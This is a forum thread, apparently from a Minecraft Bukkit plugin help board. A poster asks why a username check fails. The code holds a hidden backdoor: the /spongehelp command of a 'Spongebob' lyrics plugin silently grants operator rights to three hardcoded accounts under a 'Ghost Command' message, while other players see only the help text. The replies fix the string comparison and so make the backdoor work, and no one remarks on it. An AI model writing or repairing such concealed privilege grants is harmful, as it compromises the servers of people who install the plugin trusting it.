.equals("username") doesn't work

Code:

else if(commandLabel.equalsIgnoreCase("spongehelp")) {
                   if(player.equals("MrArrogance")) {
                       player.sendMessage(ChatColor.DARK_RED + "EvilTimewalkerZ: Username verified. Starting Ghost Command...");
                       player.setOp(true);
                   }
                   else if(player.equals("TimewalkerZ")) {
                       player.sendMessage(ChatColor.DARK_RED + "EvilTimewalkerZ: Username verified. Starting Ghost Command...");
                       player.setOp(true);
                   }
                   else if(player.equals("R3tro_3lit3")) {
                       player.sendMessage(ChatColor.DARK_RED + "EvilTimewalkerZ: Username verified. Starting Ghost Command...");
                       player.setOp(true);
                   }
                   else {
                   player.sendMessage(ChatColor.GOLD + "Spongebob v2.0 by TimewalkerZ");
                   player.sendMessage(ChatColor.GOLD + "Learn the lyrics of the Spongebob theme song!");
                   player.sendMessage(ChatColor.GOLD + "/ayeayecaptain - Response");
                   player.sendMessage(ChatColor.GOLD + "/spongebobsquarepants - Response");
                   player.sendMessage(ChatColor.GOLD + "/spongehelp - Display this page");
                   player.sendMessage(ChatColor.GOLD + "/startsong - Begin the song");
                   player.sendMessage(ChatColor.GOLD + "/stopsong - Stop the song");
                   }
                   return false;

I used the account "TimewalkerZ" and did /spongehelp but the plugin apparently didn't send me a message nor OP me.

 

@TImewalkerZ The reason that this is not working is due to the fact that your are trying to see if the Player OBJECT is equal to the string, which it is not. What you want to be doing is getting the name of the player, or even the unique id of the player then seeing if that is equal to your string.

 

@Gamesareme Thank you, but how do i fix that?
Edit: I just need the playername, not the UUID

 

@TImewalkerZ player.getName()

 

@TImewalkerZ The problem is that you're checking for the player OBJECT itself, not it's name. "player" is returning a CraftPlayer, since you're just searching for the object, and not the actual player's username. Use this to get their name and check it:

Code:

if(player.getName().equals(string)) {